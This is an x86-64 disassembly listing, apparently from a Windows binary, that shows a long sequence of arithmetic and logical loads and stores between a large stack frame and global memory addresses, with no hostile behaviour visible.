mov word [rsp + 0x10fc], ax
lea rax, [rsp + 0x7100]
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x7af8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x77a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8530]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc8], eax
mov eax, dword [rsp + 0x408c]
mov dword [rsp + 0x4110], eax
movzx eax, byte [0x14017a4fd]
movzx ecx, byte [rsp + 0x5f]
and eax, ecx
mov byte [rsp + 0x83], al
movzx eax, word [rsp + 0xd30]
movzx ecx, word [rsp + 0xddc]
imul eax, ecx
mov word [0x140179138], ax
lea rax, [rsp + 0x1074]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x188]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x8c88]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8850], rax
mov rax, qword [rsp + 0x7478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3efc], eax
lea rax, [rsp + 0x83f0]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x84a8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3dfc], eax
mov rax, qword [rsp + 0x94a0]
movzx eax, byte [rax]
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0x83a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfc0]
add eax, ecx
mov word [0x14017a7e0], ax
mov rax, qword [rsp + 0x7528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8338]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xdd4], ax
movsx eax, word [rsp + 0xdb8]
movsx ecx, word [rsp + 0xfd8]
sar eax, cl
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x93a8]
movzx eax, byte [rax]
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], al
mov rax, qword [rsp + 0x8a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96c8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9250]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3fdc]
mov dword [rsp + 0x4114], eax
mov rax, qword [rsp + 0x8b58]
mov rcx, qword [rsp + 0x81b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7a38], rax
mov rax, qword [rsp + 0x9520]
mov ecx, dword [rsp + 0x3c58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d94], eax
mov rax, qword [rsp + 0x7ab0]
movzx eax, word [rax]
mov word [rsp + 0x111c], ax
movzx eax, byte [rsp + 0x106]
mov byte [0x14017a5c7], al
mov rax, qword [rsp + 0x8268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbf]
add eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x95d8]
movzx eax, word [rax]
mov word [rsp + 0x1120], ax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0x165]
add eax, ecx
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x90d8]
movzx eax, word [rax]
movzx ecx, word [0x140179138]
sub eax, ecx
mov word [rsp + 0xe54], ax
lea rax, [rsp + 0x3e04]
mov qword [rsp + 0x9888], rax
mov rax, qword [rsp + 0x8f68]
mov rcx, qword [rsp + 0x9590]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90c8]
mov qword [rcx], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x4118], eax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x7530]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x81e0], rax
mov rax, qword [rsp + 0x9770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7000]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179078], ax
mov rax, qword [rsp + 0x8210]
movzx eax, byte [rax]
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0x8600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0x93b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0x88a8]
movzx eax, byte [rax]
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], al
mov rax, qword [rsp + 0x7478]
mov rcx, qword [rsp + 0x91c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc4], eax
lea rax, [rsp + 0x7c60]
mov qword [rsp + 0x9890], rax
mov rax, qword [rsp + 0x7860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x74d0], rax
mov rax, qword [rsp + 0x87a8]
mov rcx, qword [rsp + 0x8100]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7320]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140179097], al
lea rax, [0x1401790c0]
mov qword [rsp + 0x9898], rax
movzx eax, byte [rsp + 0x13f]
mov rcx, qword [rsp + 0x8d60]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8018]
mov byte [rcx], al
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x98a0], rax
mov rax, qword [rsp + 0x9348]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8860]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1034], ax
mov rax, qword [rsp + 0x8f58]
mov rcx, qword [rsp + 0x9260]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c28], rax
mov rax, qword [rsp + 0x7900]
mov qword [rsp + 0x98a8], rax
mov rax, qword [rsp + 0x6e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov dword [rcx], eax
lea rax, [rsp + 0x3c78]
mov qword [rsp + 0x98b0], rax
mov rax, qword [rsp + 0x8418]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7fc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a7f0], ax
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x8f]
add eax, ecx
mov rcx, qword [rsp + 0x72a8]
mov byte [rcx], al
lea rax, [rsp + 0x14d]
mov qword [rsp + 0x98b8], rax
movzx eax, word [rsp + 0x1060]
movzx ecx, word [rsp + 0xfc0]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov word [rcx], ax
mov rax, qword [0x14017a9d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x84b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd68], ax
mov eax, dword [rsp + 0x4054]
mov dword [rsp + 0x411c], eax
mov rax, qword [rsp + 0x74f0]
mov rcx, qword [rsp + 0x7ca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x85c8], rax
lea rax, [rsp + 0x9508]
mov qword [rsp + 0x98c0], rax
mov rax, qword [rsp + 0x6f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ddc], eax
movsx eax, byte [rsp + 0x103]
movsx ecx, byte [0x14017902f]
add eax, ecx
mov rcx, qword [0x14017a8b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe4c]
add eax, ecx
mov rcx, qword [rsp + 0x7a60]
mov word [rcx], ax
mov rax, qword [rsp + 0x9368]
movzx eax, word [rax]
mov word [rsp + 0x1124], ax
mov rax, qword [rsp + 0x8a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x185]
sar eax, cl
mov rcx, qword [rsp + 0x9018]
mov byte [rcx], al
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x85c8]
mov rcx, qword [rsp + 0x7a00]
mov qword [rsp + 0x98d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8200], rax
mov eax, dword [rsp + 0x3e70]
mov ecx, dword [rsp + 0x3bec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x40a4], eax
lea rax, [rsp + 0x3c18]
mov qword [rsp + 0x98d8], rax
mov rax, qword [rsp + 0x89d0]
mov rcx, qword [rsp + 0x8728]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7518], rax
lea rax, [rsp + 0x13c]
mov qword [0x14017aa68], rax
lea rax, [rsp + 0xea4]
mov qword [rsp + 0x98e0], rax
movzx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x7618]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7928]
mov byte [rcx], al
mov rax, qword [rsp + 0x72a8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a658]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0xe40]
mov qword [rsp + 0x98e8], rax
mov rax, qword [rsp + 0x7218]
mov rcx, qword [rsp + 0x70a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
lea rax, [rsp + 0x8130]
mov qword [rsp + 0x98f0], rax
mov eax, dword [rsp + 0x3fd4]
mov ecx, dword [rsp + 0x3ca8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4100], eax
mov eax, dword [rsp + 0x3bb4]
mov dword [rsp + 0x4120], eax
movzx eax, word [rsp + 0x1090]
movzx ecx, word [rsp + 0x1030]
add eax, ecx
mov word [0x14017913c], ax
movsx eax, byte [0x140179052]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9298]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x7568]
movzx eax, word [rax]
mov word [rsp + 0x1128], ax
mov rax, qword [rsp + 0x87a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x85b8]
mov eax, dword [rax]
mov dword [rsp + 0x4124], eax
mov rax, qword [rsp + 0x6c50]
mov rcx, qword [rsp + 0x7fe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x6db8]
mov rcx, qword [rsp + 0x7ff0]
mov qword [rsp + 0x98f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
mov dword [rsp + 0x4128], eax
movsx eax, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
movsx ecx, byte [0x14017a4d4]
xor eax, ecx
mov byte [0x14017908e], al
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf10]
sar eax, cl
mov rcx, qword [rsp + 0x8ab8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10e]
mov byte [rsp + 0x19e], al
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x19c]
or eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x7228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78e0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x8260]
mov word [rcx], ax
lea rax, [rsp + 0x71b8]
mov qword [rsp + 0x9900], rax
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x3cbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7808]
mov dword [rcx], eax
lea rax, [rsp + 0x87b8]
mov qword [rsp + 0x9908], rax
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0x7af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov dword [rcx], eax
movzx eax, byte [0x14017908b]
mov rcx, qword [rsp + 0x8918]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x84e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
sub eax, ecx
mov byte [0x14017a4d7], al
lea rax, [rsp + 0xed8]
mov qword [rsp + 0x9910], rax
movzx eax, word [0x14017a6b8]
movzx ecx, word [rsp + 0x1000]
sub eax, ecx
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x9890]
mov rcx, qword [rsp + 0x8650]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8a40]
mov qword [rcx], rax
mov eax, dword [0x140179004]
mov dword [rsp + 0x412c], eax
mov rax, qword [rsp + 0x6f60]
mov rcx, qword [rsp + 0x6e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x75c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7558]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7548]
mov qword [rcx], rax
mov rax, qword [0x14017a898]
movzx eax, word [rax]
mov word [rsp + 0x112c], ax
movzx eax, byte [rsp + 0xbd]
movzx ecx, byte [rsp + 0xff]
sub eax, ecx
mov byte [0x14017909a], al
movsx eax, byte [rsp + 0x14b]
mov rcx, qword [0x14017a818]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
lea rax, [rsp + 0x15e]
mov qword [rsp + 0x9918], rax
mov rax, qword [rsp + 0x9368]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7bd8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x7418]
movzx ecx, al
mov rax, qword [rsp + 0x76d8]
shl rax, cl
mov qword [rsp + 0x72c8], rax
mov rax, qword [rsp + 0x9890]
mov rax, qword [rax]
mov qword [rsp + 0x9920], rax
mov rax, qword [rsp + 0x8770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f04]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9610]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3bf8]
mov dword [rsp + 0x4130], eax
mov rax, qword [0x14017a560]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9540]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc20], ax
lea rax, [rsp + 0x127]
mov qword [0x14017aa70], rax
mov rax, qword [rsp + 0x7228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf70]
cdq
idiv ecx
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
mov rax, qword [0x14017a8f8]
movzx eax, word [rax]
mov word [rsp + 0x1130], ax
movsx eax, word [rsp + 0xf18]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x6df0]
mov rax, qword [rax]
mov qword [rsp + 0x9928], rax
mov rax, qword [rsp + 0x6dd0]
mov rcx, qword [rsp + 0x7370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6c50], rax
lea rax, [rsp + 0x3f24]
mov qword [rsp + 0x9930], rax
mov rax, qword [rsp + 0x7ea0]
mov ecx, dword [rsp + 0x3c44]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov rax, qword [0x14017a750]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x85d8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4d7], al
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x9938], rax
mov rax, qword [0x14017a748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0x6e18]
movzx eax, word [rax]
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0x7528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7fd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x8a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x83f0]
mov qword [rsp + 0x9940], rax
mov rax, qword [rsp + 0x77e0]
mov rcx, qword [rsp + 0x7ef8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8de8], rax
mov eax, dword [rsp + 0x3de0]
mov dword [rsp + 0x4134], eax
lea rax, [rsp + 0x19c]
mov qword [0x14017aa78], rax
mov rax, qword [rsp + 0x70e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8260]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9420]
mov word [rcx], ax
movzx eax, byte [0x140179093]
mov rcx, qword [rsp + 0x7ec8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov byte [rcx], al
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x9948], rax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x9950], rax
mov rax, qword [rsp + 0x8e28]
mov rcx, qword [rsp + 0x8200]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x74a0], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fbc], eax
lea rax, [0x140179004]
mov qword [rsp + 0x9958], rax
movsx eax, byte [rsp + 0x161]
mov rcx, qword [rsp + 0x9558]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017906b], al
movsx eax, byte [rsp + 0x195]
movsx ecx, byte [rsp + 0xf5]
and eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0x6c38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1054]
sub eax, ecx
mov rcx, qword [rsp + 0x6c38]
mov word [rcx], ax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x9960], rax
mov eax, dword [rsp + 0x3fe0]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x7dd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7d00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x403c]
mov dword [rsp + 0x4138], eax
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x7ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x87d8]
mov qword [rcx], rax
lea rax, [rsp + 0xdbc]
mov qword [0x14017aa80], rax
mov rax, qword [rsp + 0x7838]
movzx eax, byte [rax]
mov byte [rsp + 0x1a1], al
movsx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0x8be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x84b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov rcx, qword [rsp + 0x9318]
mov word [rcx], ax
movzx eax, word [rsp + 0xec4]
mov word [rsp + 0x1138], ax
mov eax, dword [rsp + 0x3eb4]
mov ecx, dword [rsp + 0x4040]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x77e8]
mov rax, qword [rax]
mov qword [rsp + 0x9968], rax
mov rax, qword [rsp + 0x71d8]
mov rcx, qword [rsp + 0x7898]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140179004]
sar eax, cl
mov dword [rsp + 0x3c58], eax
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x118]
xor eax, ecx
mov byte [0x14017a4d5], al
movzx eax, word [rsp + 0xc08]
mov word [rsp + 0x113c], ax
mov rax, qword [0x14017a6f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9708]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x6f18]
mov word [rcx], ax
movzx eax, byte [rsp + 0xae]
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0x8828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
shl eax, cl
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x98a8]
mov qword [rsp + 0x9970], rax
mov rax, qword [rsp + 0x9468]
mov rcx, qword [rsp + 0x80e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4060], eax
mov rax, qword [rsp + 0x7788]
mov ecx, dword [rsp + 0x4068]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7bf0]
mov dword [rcx], eax
lea rax, [rsp + 0x8440]
mov qword [rsp + 0x9978], rax
lea rax, [rsp + 0xcd4]
mov qword [0x14017aa88], rax
movzx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x8bb8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x7408]
mov word [rcx], ax
lea rax, [0x14017903b]
mov qword [rsp + 0x9980], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7b30]
mov byte [rcx], al
lea rax, [0x140179010]
mov qword [rsp + 0x9988], rax
mov rax, qword [rsp + 0x8768]
mov rcx, qword [rsp + 0x7078]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8628]
mov qword [rcx], rax
lea rax, [rsp + 0x3e64]
mov qword [rsp + 0x9990], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x8f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6ad0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1038]
movzx ecx, word [rsp + 0xfd4]
and eax, ecx
mov word [0x1401790f8], ax
movsx eax, word [rsp + 0xfa4]
mov rcx, qword [rsp + 0x8438]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, byte [rsp + 0x150]
mov byte [rsp + 0x1a3], al
movzx eax, word [rsp + 0xc74]
mov rcx, qword [rsp + 0x82f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0x8418]
movzx eax, word [rax]
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0x7740]
mov rcx, qword [rsp + 0x9438]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6da8], rax
mov eax, dword [rsp + 0x3fc4]
mov ecx, dword [rsp + 0x3fd4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e08]
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x76c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov rcx, qword [rsp + 0x89c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x176]
movzx ecx, byte [rsp + 0x148]
or eax, ecx
mov rcx, qword [0x14017aa48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8280]
movzx eax, word [rax]
mov word [rsp + 0x1144], ax
mov rax, qword [0x14017a928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe70], ax
lea rax, [rsp + 0x197]
mov qword [rsp + 0x99a0], rax
mov rax, qword [rsp + 0x8ef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9330]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3be4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
lea rax, [rsp + 0x3c28]
mov qword [rsp + 0x99a8], rax
mov rax, qword [rsp + 0x70a0]
mov rcx, qword [rsp + 0x6d20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7078], rax
mov rax, qword [rsp + 0x8e18]
mov qword [rsp + 0x99b0], rax
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8860]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf38], ax
lea rax, [rsp + 0xcb]
mov qword [0x14017aa90], rax
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x76b8]
movzx eax, word [rax]
mov word [rsp + 0x1148], ax
movzx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10d8], ax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x99b8], rax
mov rax, qword [rsp + 0x8148]
mov rcx, qword [rsp + 0x9170]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e80], rax
mov rax, qword [rsp + 0x9548]
mov rcx, qword [rsp + 0x8f00]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8410]
mov qword [rcx], rax
lea rax, [rsp + 0x3d28]
mov qword [rsp + 0x99c0], rax
mov rax, qword [rsp + 0x93a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x142]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
lea rax, [rsp + 0x97]
mov qword [0x14017aa98], rax
lea rax, [rsp + 0x1118]
mov qword [rsp + 0x99c8], rax
movsx eax, word [rsp + 0xfa4]
mov rcx, qword [rsp + 0x9078]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x8528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdf8], ax
mov eax, dword [0x140179004]
mov dword [rsp + 0x413c], eax
mov rax, qword [rsp + 0x8f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dc8]
mov qword [rsp + 0x99d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99d0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9080]
mov eax, dword [rax]
mov dword [rsp + 0x4140], eax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7468]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c88], rax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x1a4], al
movsx eax, word [rsp + 0xcec]
movsx ecx, word [rsp + 0xe98]
or eax, ecx
mov rcx, qword [0x14017a870]
mov word [rcx], ax
movzx eax, word [rsp + 0xecc]
mov rcx, qword [0x14017a9e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0x7b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
and eax, ecx
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x93f0]
movzx eax, byte [rax]
